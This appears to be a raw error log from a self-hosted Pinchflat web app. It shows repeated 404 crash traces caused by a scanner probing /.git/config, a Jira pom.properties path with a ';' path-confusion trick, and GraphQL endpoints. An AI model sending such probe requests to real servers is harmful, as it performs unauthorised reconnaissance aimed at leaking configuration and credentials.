17:50:40.683 [error] #PID<0.162750.0> running PinchflatWeb.Endpoint (connection #PID<0.162749.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162750.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJQMHxATI6QcAFoXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162750.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJQMHxATI6QcAFoXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, (truncated) 17:50:41.179 [info] POST /graphql 17:50:41.179 [info] Sent 404 in 280µs 17:50:41.180 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:41.459 [info] POST /api 17:50:41.459 [info] Sent 404 in 240µs 17:50:41.459 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:41.675 [info] POST /graphql 17:50:41.675 [info] Sent 404 in 204µs 17:50:41.675 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:41.749 [info] POST /api/graphql 17:50:41.749 [info] Sent 404 in 196µs 17:50:41.749 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.052 [info] POST /api 17:50:42.052 [info] Sent 404 in 308µs 17:50:42.052 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.121 [info] POST /graphql/api 17:50:42.121 [info] Sent 404 in 211µs 17:50:42.121 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.440 [info] POST /api/graphql 17:50:42.440 [info] Sent 404 in 242µs 17:50:42.440 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.490 [info] POST /api/gql 17:50:42.490 [info] Sent 404 in 231µs 17:50:42.490 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.500 [info] GET / 17:50:42.500 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:42.501 [debug] QUERY OK source="settings" db=0.2ms idle=1217.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.501 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1153.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:42.501 [debug] QUERY OK source="sources" db=0.1ms idle=218.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:42.502 [debug] QUERY OK source="media_items" db=0.3ms idle=218.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:42.502 [debug] QUERY OK source="media_items" db=0.2ms idle=152.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:42.502 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.503 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.503 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.504 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:42.504 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:42.505 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:42.505 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:42.507 [debug] QUERY OK source="media_items" db=0.6ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:42.508 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:42.509 [info] Sent 200 in 8ms 17:50:42.775 [info] GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 17:50:42.775 [debug] QUERY OK source="settings" db=0.1ms idle=270.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.775 [debug] QUERY OK source="settings" db=0.1ms idle=270.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:42.775 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:42.776 [error] #PID<0.162771.0> running PinchflatWeb.Endpoint (connection #PID<0.162770.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162771.0>, params: %{}, path_info: ["s", "132323e21323e24323e22373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJX_JAFULsLAAFodh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162771.0>, params: %{}, path_info: ["s", "132323e21323e24323e22373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, (truncated) 17:50:42.836 [info] POST /graphql/api 17:50:42.837 [info] Sent 404 in 205µs 17:50:42.837 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:43.226 [info] POST /api/gql 17:50:43.226 [info] Sent 404 in 203µs 17:50:43.226 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:43.600 [info] GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 17:50:43.601 [debug] QUERY OK source="settings" db=0.2ms idle=1093.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:43.601 [debug] QUERY OK source="settings" db=0.1ms idle=1093.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:43.601 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:43.602 [error] #PID<0.162777.0> running PinchflatWeb.Endpoint (connection #PID<0.162776.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162776.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46674}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162777.0>, params: %{}, path_info: ["s", "132323e21323e24323e22373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJbED3hOQDUEAFofB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162776.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46674}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162776.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: 